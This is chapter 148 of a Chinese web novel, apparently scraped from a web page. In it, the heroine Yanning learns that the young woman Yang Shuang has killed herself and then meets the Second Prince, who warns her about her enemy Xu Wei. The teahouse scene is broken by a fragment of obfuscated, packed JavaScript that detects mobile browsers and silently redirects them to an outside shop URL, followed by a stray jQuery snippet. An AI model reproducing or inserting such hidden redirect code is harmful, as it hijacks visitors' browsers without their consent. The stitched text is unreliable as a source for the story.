148. 公子探言
作品:《君子渡我》 第148章
官兵押着恶霸离去后,学子们又七手八脚地收拾了半晌,才渐渐散去,有的回房补眠,有的则捧着书卷,借着烛光苦读,毕竟春闱在即,每一刻光阴都弥足珍贵。
雁宁立在大堂中央,看着学子们陆续离去的背影,目光最终落在那个昨夜舍身护她的青年身上,他肩上的伤口已用金疮药包扎妥当,此刻正低着头,默默擦拭着桌案上的污渍,动作轻柔,眉眼间带着一股挥之不去的郁色。
“你且留步。”雁宁缓步走上前,声音温和却带着不容置疑的笃定。
青年身形一顿,缓缓转过身来,他约莫二十出头的年纪,身形瘦削,面容清俊,只是脸色因失血而有些苍白,一双眼睛却亮得惊人,像是藏着两簇燃不尽的火苗。
他对着雁宁躬身行礼,语气恭敬:“韩娘子有何吩咐?”
雁宁看着他,开门见山:“方才多谢你舍身相救,还未请教阁下高姓大名。”
“不敢当韩娘子谢。”青年抬起头,目光坦诚地看着雁宁:在下杨寒,一介寒门书生,此次入住仙人楼,也是为了春闱。”
“杨寒。”雁宁默念着这个名字,眉头微蹙,心中的疑虑却愈发浓重,方才那般凶险,刀光剑影之间,此人竟能毫不犹豫地扑上来护着她,若说仅仅是感念她接济学子的恩惠,未免太过牵强。
她见过太多趋利避害的人,即便是心怀感激,在生死关头,大多也会选择明哲保身,而非以身相护。
雁宁定了定神,目光锐利地看向杨寒,语气直截了当:“杨郎君,你救我,当真只是因为我曾接济过你们这些寒门学子?”
杨寒闻言,身形微微一颤,垂在身侧的手悄然握紧,指节泛白,他沉默片刻,缓缓摇了摇头,声音低沉而沙哑:“并非只因救助。”
果然,雁宁心中一动,追问道:“那是为何?”
杨寒抬眸看向雁宁,目光复杂,似有千言万语哽在喉头,他深吸一口气,像是下定了某种决心,一字一句道:“韩娘子可还记得徐惟真?”
听闻此言,雁宁浑身一震,瞳孔骤然收缩,脸上的平静瞬间被打破,取而代之的是难以掩饰的震惊与紧张。
她死死地盯着杨寒,指尖微微颤抖,声音都带上了一丝不易察觉的颤音:“你……你怎会知道这个名字?”
徐惟真,那是她心中一道不愿触碰的伤疤,此人手上沾满了无数忠良的鲜血,更是当时女郎遭受迫害时的主谋之一。
数月前,她在医馆偶遇一个身负重伤的少女,从少女阿娘的口中得知了徐惟真的藏身之处,这才得以手刃仇敌,了却一桩心愿。
只是此事她做得极为隐秘,除了明潇,再无旁人知晓,眼前这个素昧平生的书生,又怎会提及这个名字?
杨寒看着雁宁震惊的模样,眼中闪过一丝苦涩,语气带着几分哽咽:“多亏了韩娘子,救了我的妹妹。”
妹妹?雁宁脑中灵光一闪,一个娇弱却倔强的少女身影瞬间浮现在眼前,她连忙问道:“你的妹妹是谁?”
“杨霜。”杨寒吐出这两个字时,声音轻得像一阵风,却带着无尽的悲恸。
“杨霜?”雁宁失声惊呼,眼中满是难以置信,她记得那个叫杨霜的少女,也记得她满身的伤痕,她阿娘眼中的恐惧与恨意,是她拼尽全力逃出徐惟真的魔爪,才得以让雁宁知晓了徐惟真的行踪,若不是杨霜,她或许至今都找不到徐惟真的藏身之处,更遑论手刃仇敌之子。
“我记得她,霜儿。”雁宁的语气柔和下来,眼中满是关切:“数月过去,她的伤应该已经好得差不多了吧?那日我送她去养伤,还特意嘱咐了医婆好生照料,她……”
雁宁的话还未说完,便被杨寒冰冷的声音打断。
他抬起头,眼中布满了红血丝,声音里带着彻骨的寒意,一字一句,像是从牙缝里挤出来一般:“杨霜已经死了,我的妹妹,她死了。”
“什么?”雁宁如遭雷击,她瞪大了眼睛,不敢置信地看着杨寒,声音颤抖得不成样子:“她怎么会死?是……是徐惟真的余党寻仇了吗?我明明已经……”
徐惟真已死,他的党羽按理说树倒猢狲散,断不敢再贸然寻仇。
杨寒缓缓摇了摇头,眼中的红血丝愈发浓重,隐约有泪光闪烁,他别过头,看向窗外,声音低沉而沙哑,带着无尽的绝望:“是自缢而亡,一根麻绳,吊死在了家中院子里的梨树上。”
“自缢?”雁宁心中一动,疼得她喘不过气来,她怎么也无法相信,那个在绝境中都不曾放弃生的希望的少女,会选择以这样惨烈的方式结束自己的生命。
她红了眼眶,声音哽咽:“她为何要这样做?莫不是……莫不是徐府的人还是找去了?或是受了什么委屈?”
杨寒闭了闭眼,两行清泪终于忍不住滑落,他猛地转过头,死死地盯着雁宁,眼中满是痛苦与挣扎,却终究只是摇了摇头,声音嘶哑:“韩娘子,您还是别问了。”
他的语气里带着一股不容置疑的决绝,像是有什么难以言说的苦衷,压得他喘不过气来。
雁宁看着他痛苦的模样,心中的疑虑更甚,却也知道,再问下去,不过是徒增他的伤痛,她沉默片刻,终究还是忍不住,目光锐利地看向杨寒,一字一句道:“我不问她的死因,你只告诉我,是不是徐渭逼迫她死的?”
徐渭,徐惟真的阿耶,此人阴险狡诈,比之徐惟真有过之而无不及,徐惟真死后,他便一直对自己虎视眈眈,若是说这神都之中,还有谁会对杨霜下手,除了徐渭,再无旁人。
杨寒的身体猛地一僵,脸上的血色瞬间褪尽,他死死地咬着下唇,却始终一言不发,良久,他才缓缓抬起头,眼中的泪水早已干涸,只剩下一片死寂的冰冷。
“霜儿的仇,我会报。”他的声音平静得可怕,却带着一股令人心惊的决绝:“多谢韩娘子当日救了她,让她多活了数月。妹妹的恩,我今日已经报了,从此以后,你我两清,想必日后,也不会再见了。”
说完,他对着雁宁深深躬身一揖,随即转身,头也不回地朝着门外走去,他的背影挺直,却带着一股难以言喻的萧索,像是一株被寒霜打过的翠竹,明明坚韧,却又透着一股破碎的绝望。
雁宁愣在原地,看着他的背影渐渐消失在夜色之中,心中五味杂陈。
杨霜的死,定然不简单,定然与徐渭脱不了干系,而杨寒此去,怕是要以身犯险,去找徐渭报仇。
他不过是一介手无缚鸡之力的书生,又怎会是徐渭的对手?
雁宁握紧了拳头,心中满是担忧,她想喊住他,想告诉他,报仇并非只有一条路,想告诉他,她可以帮他。
可话到嘴边,却又咽了回去,她知道,杨寒此刻的心中,定然充满了仇恨与绝望,任何劝说,都只是徒劳。
“少溪。”
一道清脆的声音自身后传来,打断了雁宁的思绪,她转过身,只见明潇正缓步走来,手中拿着一个布包,脸上带着几分关切。
“外面的消息都打探清楚了。”明潇走到雁宁身边,将布包递给她:“黑煞已经被押入府衙大牢,听说他在牢里喊冤,说自己是都察院的人,府尹大人不敢怠慢,已经将此事上报给了刑部。还有,报官的那个学子,名叫周小郎,是个心思活络的,我已经嘱咐过他,让他守口如瓶,不要将此事外传。”
雁宁接过布包,却没有打开,只是怔怔地看着门外的方向,眼神有些空洞。
明潇察觉到她的异样,顺着她的目光看去,却只看到空荡荡的街道,她皱了皱眉,伸手轻轻拍了拍雁宁的肩膀,语气关切:“你怎么了?方才杨寒对你说了什么?看你这副失魂落魄的样子。”
雁宁缓缓回过神,眼中的迷茫渐渐散去,取而代之的是一片冰冷的坚定,她摇了摇头,声音有些沙哑:“没什么,只是想起了一些故人。”
她没有告诉明潇杨霜的死讯,她知道,明潇若是知晓,定然也会和她一样,心中满是愧疚与愤怒,有些事,她想自己先扛着。
明潇看着她苍白的脸色,心中满是担忧,却也知道,雁宁若是不想说,她再问也是无用,她叹了口气,语气柔和:“天快亮了,你一夜未眠,还是回房休息一会儿吧。有什么事,等你休息好了再说。”
雁宁沉默地点了点头,握紧了手中的拳头,杨霜的死,像是一根刺,深深扎进了她的心里。
她转身,朝着二楼的客房走去,脚步沉重,却带着一股不容动摇的决心。
*
第二日午后,阳光正好,洒在神都的街道上,暖洋洋的,明潇陪着雁宁,缓步走出仙人楼,昨夜的风波过后,仙人楼又恢复了往日的宁静,学子们大多闭门苦读,偶尔有几声读书声传来,悠扬而清脆。
“今日天气甚好,我们步行回公子府吧。”明潇看着雁宁依旧有些苍白的脸色,笑着提议:“就当是散散心,也好缓解一下这几日的疲惫。”
雁宁点了点头,心中的郁气确实需要好好疏解一番,她抬头看了看天,日光落在脸上,暖暖的,让她紧绷了许久的神经,终于放松了些许。
两人并肩走在街道上,沿途皆是热闹的商铺,明潇时不时地指着街边的小吃,笑着和雁宁说话,试图让她开心一些,雁宁偶尔应和几句,脸上却始终带着淡淡的愁绪。
就在两人走到街角,准备拐上通往公子府的大道时,一道身着黑衣的劲装护卫,突然从旁边的巷子里走了出来,拦住了她们的去路。
护卫身形挺拔,目光锐利,腰间佩着弯刀,一看便知是训练有素的好手。
明潇脸色一变,瞬间警惕起来,手按在腰间的匕首上,眼神冰冷地盯着眼前的护卫,厉声喝道:“你们是什么人?竟敢拦我们的去路!”
雁宁也皱起了眉头,目光扫过眼前的护卫,这人的衣着打扮,并不像是寻常的江湖人士,反而像是……公子府的护卫。
就在这时,护卫对着雁宁躬身行礼,语气恭敬却带着几分疏离:“韩娘子,我家公子有请。”
雁宁心中一动,问道:“你家公子是何人?”
护卫没有直接回答,只是抬起头,朝着街对面的茶楼示意了一下。
雁宁顺着他的目光看去,只见街对面的茶楼二楼,临窗的位置,坐着一个身着锦袍的青年,青年面容俊朗,眉眼间带着几分慵懒,手中端着一碗茶水,正似笑非笑地看着她。
是二公子,危瀛月。
雁宁的心猛地一沉,眉头皱得更紧了,她与危瀛月许久没见,他今日突然派人拦住自己,所为何事?
“二公子找我,有何贵干?”雁宁的语气带着几分警惕。
护卫躬身道:“公子说,有要事与韩娘子相商,还请韩娘子移步茶楼一叙。”
雁宁沉默片刻,转头看向明潇,低声道:“你在楼下等我,若是半个时辰后我还未下来,你便上来找我。”
明潇点了点头,眼神坚定:“放心吧,我会守在楼下,若是他们敢对你不利,我定不会放过他们。”
雁宁拍了拍她的肩膀,示意她安心,随即对着护卫点了点头:“前面带路。”
护卫躬身引路,带着雁宁穿过街道,走进了茶楼,茶楼里人来人往,热闹非凡,雁宁跟着护卫,缓步走上二楼,径直朝着危瀛月所在的雅间走去。
雅间的门虚掩着,护卫推开门,对着里面躬身道:“公子,韩娘子到了。”
危瀛月抬眸看向雁宁,嘴角勾起一抹似笑非笑的弧度,放下手中的茶盏,淡淡道:“韩娘子,请坐。”
雁宁走进雅间,在他对面的椅子上坐下,雅间里布置得极为雅致,桌上摆着一套精致的茶具,茶香袅袅,沁人心脾。
“不知二公子今日找我,所为何事?”雁宁开门见山,语气平静。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264153|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>危瀛月没有回答,只是端起桌上的茶杯,轻轻抿了一口,目光似有若无地扫过雁宁的脸,缓缓道:“昨夜仙人楼闹得沸沸扬扬,鬼市恶霸持刀行凶,险些伤了韩娘子,此事,韩娘子可知是谁的手笔?”
雁宁心中一震,抬眸看向危瀛月,眼中满是警惕:“二公子此话何意?莫非,公子调查我?”
她与危瀛月早已经没了关系,他为何会关注自己昨夜的遭遇?此事定然不简单。
危瀛月闻言,嘴角的笑意更浓了些,却并未回答她的问题,只是淡淡道:“那些恶霸,是徐渭引来的。”
雁宁心中早已料到,闻言只是淡淡点了点头:“我知道,昨夜我便猜到了,此事定然与徐渭脱不了干系。”
危瀛月有些意外地挑了挑眉,看着雁宁:“哦?韩娘子倒是聪明,只是,你如何这般肯定?”
雁宁端起桌上的茶杯,轻轻摩挲着杯壁,目光冰冷:“这神都之中,想要我性命的人,寥寥无几,除了徐渭,还能有谁?徐惟真死在我手中,他对我恨之入骨,屡次三番想要置我于死地。昨夜之事,纵然不是他亲手所为,也定然与他脱不了干系。”
危瀛月看着她眼中的冰冷与决绝,心中微微触动,他沉默片刻,叹了口气,语气中带着几分不易察觉的心疼:“徐渭此人,阴险狡诈,心狠手辣,你与他作对,无异于以卵击石,日后,还是小心些吧,不要再给他们害你的机会。”
雁宁闻言,心中微微一动,她看着危瀛月,只见他眉眼间带着几分真切的担忧,不似作伪,她心中疑惑更甚,却只是淡淡一笑,语气坚定:“我不怕。”
顿了顿,她补充道:“我身边,有人保护我。”
危瀛月闻言,眼中闪过一丝诧异,随即像是想到了什么,挑眉道:“哦?是严林?还是……外面那个夜行都的刺客?”
“什么?”雁宁猛地抬起头,瞪大了眼睛看着危瀛月,眼中满是难以置信:“什么夜行都的刺客?”
夜行都,是一个极为隐秘的组织,成员皆是顶尖的杀手,行事诡秘,从不轻易露面,明潇便是夜行都的人,此事除了她和明潇,再无旁人知晓,危瀛月又是如何得知的?
危瀛月看着她震惊的模样,嘴角勾起一抹高深莫测的笑容,却并未解释,只是淡淡道:“你既说不是,那便就不是吧。”
他显然是知晓内情,却不愿多说。
雁宁心中的疑虑更甚,却也知道,再问下去,他定然也不会透露分毫,她沉默片刻,端起茶杯,轻轻抿了一口,压下心中的震惊。
危瀛月看着她平静下来的模样,眼中闪过一丝赞许,随即话锋一转,问道:“徐渭对你步步紧逼,尤家也对你虎视眈眈,你扶持陆选,想要在春闱中为自己寻得助力,这步棋走得倒是不错,只是,你有没有想过,若是陆选未能金榜题名,或是他并非你所想的那般可靠,你日后,又该如何打算?”
雁宁心中一凛,看向危瀛月,他果然什么都知道,自己扶持陆选的计划,做得极为隐秘,却还是被他看了出来。
她沉默良久,目光望向窗外,看着街道上来来往往的行人,语气平静却带着一股不容动摇的坚定:“我从未想过退路。”
顿了顿,她转过头,看向危瀛月,眼中闪烁着熠熠生辉的光芒:“尤家倒行逆施,残害忠良,祸乱朝纲,早已天怒人怨,徐渭助纣为虐,更是死有余辜。我扶持陆选,只为一己私利,即便前路布满荆棘,我也会一往无前。”
“哪怕粉身碎骨?”危瀛月看着她,语气带着几分试探。
“哪怕粉身碎骨。”雁宁毫不犹豫地回答,眼中满是决绝:“我的的冤屈,千千万万忠良的鲜血,不能白流,我此生,若是不能将这些奸佞之臣绳之以法,告慰枉死的冤魂,便枉活一世。”
危瀛月看着她眼中的决绝与坚定,心中久久不能平静,他见过太多趋利避害的人,见过太多在强权面前卑躬屈膝的人,却从未见过如雁宁这般,明明只是一介女郎,却有着不输男儿的风骨与担当。
他沉默片刻,缓缓道:“你可知,你今日所做的一切,若是被尤相知晓,等待你的,将会是何等惨烈的下场?”
“我知道。”雁宁淡淡道:“从我决定复仇的那一刻起,我便早已将生死置之度外。”
危瀛月看着她,眼中闪过一丝复杂的光芒,他沉默良久,突然笑了笑,语气带着几分玩味:“你倒是个有趣的小娘子,若是他日你走投无路,不妨来寻我,或许,我能帮你一把。”
雁宁心中一震,抬眸看向危瀛月,她不懂,危瀛月为何会突然说出这番话,他是大燕二公子,按道理来说,应该与太后是一伙的,到最后真的会愿意帮自己吗?
“二公子此话何意?”雁宁警惕地问道。
危瀛月却只是笑了笑,没有解释,只是端起茶杯,轻轻抿了一口,淡淡道:“没什么,只是觉得,若是让你这般有趣的小娘子,死在徐渭那等小人手中,未免太过可惜。”
雁宁看着他高深莫测的模样,心中的疑虑更甚,却也知道,再问下去,也不会有什么结果,她站起身,对着危瀛月躬身行礼:“多谢二公子今日告知,时间不早了,我该回公子府了,告辞。”
危瀛月点了点头,看着她的背影,缓缓道:“程雁宁,好自为之。”
雁宁脚步一顿,却没有回头,径直走出了雅间。
她快步走下茶楼,明潇立刻迎了上来,关切地问道:“怎么样?他没对你做什么吧?”
雁宁摇了摇头,目光复杂地看了一眼茶楼二楼的方向,轻声道:“没事,我们走吧,回公子府。”
两人并肩走在街道上,阳光依旧明媚,可雁宁的心中,却像是压了一块巨石,今日危瀛月的出现,像是一团迷雾,让她愈发看不透。
将来或许要与尤相之女联姻,亦是太后王孙,他又为何会提出要帮自己?他到底是敌是友?

